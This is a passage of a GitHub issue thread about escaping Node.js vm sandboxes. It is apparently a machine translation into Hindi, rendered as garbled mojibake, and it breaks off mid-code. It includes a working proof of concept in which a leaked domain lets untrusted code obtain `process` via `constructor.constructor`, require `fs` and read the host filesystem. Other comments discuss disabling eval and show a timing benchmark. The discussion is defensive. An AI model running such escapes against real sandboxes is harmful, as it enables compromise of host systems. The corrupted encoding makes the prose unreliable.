рдХреЛ рдмрджрд▓рдирд╛ рдЙрдирдореЗрдВ рд╕реЗ рд╕рд┐рд░реНрдл рдПрдХ рд╣реИред рдЬрдм рддрдХ рдЖрдк рдкреВрд░реА рд╕реВрдЪреА рдХреЛ рдкрдврд╝реЗрдВрдЧреЗ, рддрдм рддрдХ рдЖрдкрдХреЛ рдкрддрд╛ рдЪрд▓ рдЬрд╛рдПрдЧрд╛ рдХрд┐ рдЬреЗрдирд░реЗрдЯрд░ рдлрдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдордВрдХреА рдкреИрдЪ рдЗрд╡реЗрд▓реНрд╕ рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реИред рдФрд░ рдЗрд╕рдореЗрдВ рдЕрд╕рдВрдЦреНрдп рдЕрдиреНрдп рддрд░реАрдХреЗ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реИрдВ eval()
рднрд╡рд┐рд╖реНрдп рдХреЗ ES рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рддреЛ рдПрдХрдорд╛рддреНрд░ рд╡реНрдпрд╡рд╣рд╛рд░реНрдп рд╕рдорд╛рдзрд╛рди рд╕реА ++ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╡реА 8 рдореЗрдВ evals рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╣реИред
@parasyte : рд╕рд╣реА рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИ (рдФрд░ рдкреНрд░рд╕реНрддреБрддрд┐ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж)ред рддреЛ, рдХреНрдпрд╛ рдЖрдкрдХрд╛ рд╕реА ++ рдХреЛрдб рдХреЗрд╡рд▓ рд╡реАрдПрдо рдпрд╛ "рд╣реЛрд╕реНрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛" рдореЗрдВ рднреА eval рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ?
@ рдПрд░рд┐рдХ 24 рдпрд╣ рдЙрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рджреЗрдЧрд╛
@parasyte : рд╕рдордЭ рдЧрдпрд╛ред рдзрдиреНрдпрд╡рд╛рдж! рдореЗрд░рд╛ рдХрд╣рдирд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╢реЛрдз рдХрд░рдиреЗ рдХреЗ рдХрдИ рджрд┐рдиреЛрдВ (рдХрдИ рд╣рдлреНрддреЛрдВ рд╕реЗ рдЕрдзрд┐рдХ) рдХреЗ рдмрд╛рдж рдореИрдВрдиреЗ рдкрд╛рдпрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХрд╛ рд╕рдорд╛рдзрд╛рди рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИред
@Anorov рдпрд╣ рдХреБрдЫ рд╣реА рджрд┐рдиреЛрдВ рдкрд╣рд▓реЗ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛: https://github.com/nodejs/node/issues/15673 рдпрд╣ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкрд░ рдПрдХ рдЕрд╢рдХреНрдд рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдХреЗ рд╕рд╛рде рднреА VM рд╕реЗ рдмрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реИ рдпрджрд┐ рдбреЛрдореЗрди рд╕рдХреНрд╖рдо рд╣реИрдВ (рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдкрдиреЗ рд╕рднреА рдирд┐рд░реНрднрд░рддрд╛ рдкрджрд╛рдиреБрдХреНрд░рдо рдореЗрдВ domain
рдЙрдкрдпреЛрдЧ рд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ)ред
рдЕрд╡рдзрд╛рд░рдгрд╛ рдХрд╛ рдПрдХ рдЖрд╕рд╛рди-рдмрд╛рдВрдХрд╛ рд╕рдмреВрдд рдпрд╣рд╛рдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдиреЛрдб v8.6.0 рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛:
// 'use strict';
const domain = require('domain');
const vm = require('vm');
const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;
domain.create().enter(); // Entering a domain leaks the private context into VM
vm.runInNewContext(untrusted, Object.create(null));
рдРрд╕реЗ рд▓реАрдХ рд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВред рднреЗрджреНрдпрддрд╛ рдХреЗ рдЗрд╕ рд╡рд░реНрдЧ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╣рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╣реИред рдФрд░ рдердХреЗ рд╣реБрдП рд░рд╣реЗрдВ рдХрд┐ eval рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ vm
рд╕рд╛рде рдЕрдиреНрдп рдореБрджреНрджреЗ рднреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред
@parasyte рдзрдиреНрдпрд╡рд╛рджред рдореИрдВ рдЗрд╕ рдХреЛрдб рдХреЛ рдкрд╛рдпрдерди рд╕реЗ рдиреЛрдб рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реВрдВ: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111
рдХреЛрдИ рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп ( domain
рдпрд╛ рдЕрдиреНрдпрдерд╛) рдЖрдпрд╛рдд рдпрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХреНрдпрд╛ рдЖрдкрдХреЛ рдЗрд╕ рдХреЛрдб рдХреЗ рд╕рд╛рде рдХреЛрдИ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╕реНрдпрд╛ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ? рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдореИрдВ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд░реНрднрд░рддрд╛рдУрдВ (рдЬреИрд╕реЗ рд╡реАрдПрдо 2) рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред
@ рдЕрдиреЛрд░реЛрд╡ рдЖрд╣ рдореИрдВ рджреЗрдЦрддрд╛ рд╣реВрдВред рдХреНрдпрд╛ рдЖрдк рдЪрд┐рдВрддрд┐рдд рд╣реИрдВ рдХрд┐ CloudFlare (рдпрд╛ рдПрдХ MITM) рдХреЛрдб рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ рдЬреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ? рдпрд╣ рдПрдХ рд▓рдХреНрд╖рд┐рдд рд╣рдорд▓рд╛ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдореИрдВ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЦрд╛рд░рд┐рдЬ рдирд╣реАрдВ рдХрд░реВрдВрдЧрд╛ред
рд╕рд╣реАред рдХреЛрдИ рдЙрд╕ рдкреЗрдЬ рдХреА рдирдХрд▓ рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреА рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ
рдХрд┐ рдореЗрд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ Cloudflare рд╣реИ рдЬрдм рдпрд╣ рдирд╣реАрдВ рд╣реИред рдореИрдВ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ
рдЬрд╛рдБрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдХрд╛ рдЖрдИрдкреА рдкрддрд╛ рдХреНрд▓рд╛рдЙрдбрдлреНрд▓реЗрдпрд░ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рд╣реИ
рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рд╛рд╡рдзрд╛рдиреАред
рд▓реЗрдХрд┐рди рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдпрд╣ рдХреЛрдб рдХрд┐рд╕реА рднреА рдордирдорд╛рдиреА рдкрд░ рдЪрд▓ рд░рд╣рд╛ рдерд╛
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдФрд░ рди рдХреЗрд╡рд▓ Cloudflare рдХрд╛ред рдХреНрдпрд╛ рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ
рдиреЛрдб рд╕рдореБрджрд╛рдп рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЬреНрдЮрд╛рди?
2 рдЕрдХреНрдЯреВрдмрд░, 2017 рдХреЛ рд░рд╛рдд 10:10 рдмрдЬреЗ, "рдЬреЗ рдУрд╕реНрдЯрд░" рдиреЛрдЯрд┐рдлрд┐рдХреЗрд╢рди @github.com рдиреЗ рд▓рд┐рдЦрд╛:
@Anorov https://github.com/anorov рдЖрд╣ рдореИрдВ рджреЗрдЦ рд░рд╣рд╛ рд╣реВрдБред рдХреНрдпрд╛ рдЖрдк рдЪрд┐рдВрддрд┐рдд рд╣реИрдВ рдХрд┐
CloudFlare (рдпрд╛ рдПрдХ MITM) рдХреЛрдб рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЯреВрдЯ рд╕рдХрддрд╛ рд╣реИ
рд╕реИрдВрдбрдмреЙрдХреНрд╕? рдпрд╣ рдПрдХ рд▓рдХреНрд╖рд┐рдд рд╣рдорд▓рд╛ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдореИрдВ рдЗрд╕ рдкрд░ рд╢рд╛рд╕рди рдирд╣реАрдВ рдХрд░реВрдВрдЧрд╛
рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрд╛рд╣рд░ред-
рдЖрдк рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдЗрд╕ рдИрдореЗрд▓ рдХрд╛ рд╕реАрдзреЗ рдЙрддреНрддрд░ рджреЗрдВ, рдЗрд╕реЗ GitHub рдкрд░ рджреЗрдЦреЗрдВ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 , рдпрд╛ рдореНрдпреВрдЯ рдХрд░реЗрдВ
рд╕реВрддреНрд░
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.
@рдЕрдиреЛрд░реЛрд╡ :
рдХреНрдпрд╛ рдиреЛрдб рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд░реНрд╡реЛрддреНрддрдо рдЬреНрдЮрд╛рди рдХреЗ рд▓рд┐рдП рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ?
рдмрд┐рд▓реНрдХреБрд▓ рдирд╣реАрдВред рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬ рдЗрд╕реЗ рдмрд╣реБрдд рдордЬрдмреВрдд рдиреЛрдЯ рдмрдирд╛рддрд╛ рд╣реИ:
рдиреЛрдЯ: рд╡реАрдПрдо рдореЙрдбреНрдпреВрд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реИред рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВред
рдореИрдВ рдЙрд╕ рдЪреЗрддрд╛рд╡рдиреА рд╕реЗ рдЕрд╡рдЧрдд рд╣реВрдВ, рд▓реЗрдХрд┐рди рдореИрдВ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреВрдЫ рд░рд╣рд╛ рд╣реВрдВред
3 рдЕрдХреНрдЯреВрдмрд░ 2017 рдХреЛ рд╢рд╛рдо 4:34 рдмрдЬреЗ, "рдХреЛрдбреА рдорд╛рд╕рд┐рди" рдиреЛрдЯрд┐рдлрд┐рдХреЗрд╢рди @github.com рдиреЗ рд▓рд┐рдЦрд╛:
@рдЕрдиреЛрд░реЛрд╡ https://github.com/anorov :
рдХреНрдпрд╛ рдиреЛрдб рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд░реНрд╡рд╢реНрд░реЗрд╖реНрда рдХреЗ рд▓рд┐рдП рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ
рдЬреНрдЮрд╛рди?рдмрд┐рд▓реНрдХреБрд▓ рдирд╣реАрдВред рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬ
https://nodejs.org/api/vm.html#vm_vm_executing_javascript рдЗрд╕реЗ рдмрдирд╛рддрд╛ рд╣реИ
рдмрд╣реБрдд рдордЬрдмреВрдд рдиреЛрдЯ:рдиреЛрдЯ: рд╡реАрдПрдо рдореЙрдбреНрдпреВрд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реИред рдЗрд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ
рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдбред-
рдЖрдк рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдЗрд╕ рдИрдореЗрд▓ рдХрд╛ рд╕реАрдзреЗ рдЙрддреНрддрд░ рджреЗрдВ, рдЗрд╕реЗ GitHub рдкрд░ рджреЗрдЦреЗрдВ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 , рдпрд╛ рдореНрдпреВрдЯ рдХрд░реЗрдВ
рд╕реВрддреНрд░
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.
рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рдХреЗ рд▓рд┐рдП рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рдЗрд╕рд▓рд┐рдП @patriksimek рдиреЗ vm2
рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд╕рд╛рде рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рд╣реИред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ @parasyte рдиреЗ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреА рдЦреБрдж рдХреА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдмрдирд╛рдиреЗ рдХрд╛ рдХрд╛рдо рдХрд┐рдпрд╛ рд╣реИред
@Anorov рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдХреЗрд╡рд▓ vm
рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВред рд▓реЗрдХрд┐рди рдпрд╣ рдкреНрдпрд╛рдЬ рдХреА рдПрдХ рдкрд░рдд рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧреА рдЙрдкрдХрд░рдг рд╣реИред
рдореИрдВ @parasyte рд╕реЗ eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП vm рдФрд░ рд╕реБрдЭрд╛рдП рдЧрдП C++ рдХреЛрдб рдХреЗ рд╕рд╛рде рдЦреЗрд▓ рд░рд╣рд╛
const userfunc = new Function('context',
'"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');
рдпрд╣ рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдмрд╣реБрдд рддреЗрдЬ рд╣реИ (рдХреБрдЫ рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдореЗрдВ 1000 рдЧреБрдирд╛ рддреЗрдЬ)ред eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рд▓реИрдВрдб рдХреЛрдб рдХреЛ 'рд╡реИрд╢реНрд╡рд┐рдХ' рдХреЗ рд╕рдВрджрд░реНрдн рд╕реЗ рднреА рд░реЛрдХрддрд╛ рд╣реВрдВ (рдЗрд╕ рдкрд░реАрдХреНрд╖рдг рдХреЗ рдмрд┐рдирд╛, рдлрд╝рдВрдХреНрд╢рди Global.whatever рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реИрд╢реНрд╡рд┐рдХ рджрд╛рдпрд░реЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ)ред рдпрд╣ рдПрдХ рдкреНрд░рднрд╛рд╡реА рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИред рдореБрдЭреЗ рдХрд┐рд╕рдХреА рдпрд╛рдж рдЖ рд░рд╣реА рд╣реИ?
рдХреНрдпрд╛ рдЖрдкрдХреА рд░рдгрдиреАрддрд┐ рд▓реЛрдЧреЛрдВ рдХреЛ fs рдЬреИрд╕реЗ рдиреЗрдорд╕реНрдкреЗрд╕ рдЖрдпрд╛рдд рдХрд░рдиреЗ рдФрд░ рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдХреЛ рдЕрддреНрдпрдзрд┐рдХ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддреА рд╣реИ? рдореИрдВ eval рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рднреА рдЙрддреНрд╕реБрдХ рд╣реВрдВ, рдХреНрдпреЛрдВ eval рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪрд┐рдВрддрд╛ рдФрд░ eval рдХреЗ рдмрд╛рд╣рд░ рдХреЛрдб рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪрд┐рдВрддрд╛ рдХреНрдпреЛрдВ рдирд╣реАрдВ?
@wysisoft : рдЕрдЪреНрдЫрд╛ рд╕рд╡рд╛рд▓ред рд╣рд╛рдВ, 'рдЖрд╡рд╢реНрдпрдХрддрд╛' рдЙрдЬрд╛рдЧрд░ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЕрдкрдиреЗ рдореЗрдЯрд╛-рдбреЗрдЯрд╛ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ, "рдЕрдиреБрдордд рдФрд░ рд╕рддреНрдпрд╛рдкрд┐рдд" рдореЙрдбреНрдпреВрд▓ рдХреА рдПрдХ рд╕реВрдЪреА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рдирдХреА рдЙрд╕реЗ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЪрд▓рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рдВрдкрд░реНрдХ рдореЗрдВ рдЖрддреЗ рд╣реИрдВред рдЖрдкрдХреА рдмрд╛рдд рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, 'fs' рдЙрд╕ рд╕реНрд╡реАрдХреГрдд рд╕реВрдЪреА рдореЗрдВ рдирд╣реАрдВ рд╣реЛрдЧрд╛ (рд▓реЗрдХрд┐рди рдЙрди рд▓рд┐рдкрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд┐рдиреНрд╣реЗрдВ рдЕрд╕реНрдерд╛рдпреА рднрдВрдбрд╛рд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд╕реАрдорд┐рдд рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдПрдХ рд╕реЗрдЯ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред
рдХрдИ рдХрд╛рд░рдирд╛рдореЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП 'eval' рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ ( 18NOV16 рдкрд░ @parasyte рдХреА рдЯрд┐рдкреНрдкрдгреА рджреЗрдЦреЗрдВ)ред 'eval' рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╕реЗ рд╡реИрд╢реНрд╡рд┐рдХ рджрд╛рдпрд░реЗ рддрдХ рдЗрд╕ рддрд░рд╣ рдкрд╣реБрдВрдЪрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЕрдиреНрдпрдерд╛ рд░реЛрдХрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ред 1OCT17 рдкрд░ @parasyte рдХреА рдЯрд┐рдкреНрдкрдгреА рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг)ред
@ рдПрд░рд┐рдХ 24 рдореБрдЭреЗ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрддрд╛ рдХрд┐ vm
рдмрд╛рд░реЗ рдореЗрдВ "рдзреАрдорд╛" рдХреНрдпрд╛ рд╣реИред рдпрд╣ рдмрд┐рд▓реНрдХреБрд▓ рд╡рд╣реА v8 рд░рдирдЯрд╛рдЗрдо рд╣реИ рдЬреЛ рдиреЛрдбрдЬреЗрдПрд╕ рдХреЛ рд╢рдХреНрддрд┐ рджреЗрддрд╛ рд╣реИред рдХреНрдпрд╛ рдЖрдк рд╡рд╛рдХрдИ рдХреБрдЫ рдореВрд░реНрдЦрддрд╛рдкреВрд░реНрдг рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬреИрд╕реЗ рд╣рд░ рдмрд╛рд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдкрд░ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛? рд╡рд╣рд╛рдБ рдХреБрдЫ рднреВрдорд┐ рдХреЗ рдКрдкрд░ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рднреВрдорд┐ рдХреЗ рдКрдкрд░ рдирд╣реАрдВ 1000xред
@wysisoft eval()
рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓рд╛ рддрд░реАрдХрд╛ рд╣реИред рдЗрд╕реЗ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдирд┐рдЬреА рд╕рдВрджрд░реНрдн рдореЗрдВ рдХреЛрдб рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдХреЗ рдПрд╕реНрдХреЗрдк рд╣реИрдЪ рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд▓реЗрдХрд┐рди рдореИрдВ рдлрд┐рд░ рд╕реЗ рджреЛрд╣рд░рд╛рддрд╛ рд╣реВрдВ, рдпрд╣ рдПрдХрдорд╛рддреНрд░ рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░ рдирд╣реАрдВ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рд╣рд░ рдЪреАрдЬ рд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ рдЪрд╛рд╣рд┐рдПред
@parasyte - рдореЗрд░реЗ рдкрд╛рд╕ рдПрдХ рдмрд╣реБрдд рд╣реА рд╕рд░рд▓ рдкрд░реАрдХреНрд╖рдг рд╣реИ рдЬреЛ рдкреНрд░рддреНрдпреЗрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА рдХреЛрдб рдХреЗ рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди() рдФрд░ рдПрдХ рд╡реАрдПрдо рдмрдирд╛рддрд╛ рд╣реИ, рджреЛрдиреЛрдВ 1000 рдмрд╛рд░ рдЪрд▓рддрд╛ рд╣реИ, рдФрд░ рдХреБрд▓ рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рдХреЛрдб:
"use strict";
const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");
console.log('TEST=' + global.test);
let response = {result: 0, body: null};
// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
'"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');
// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
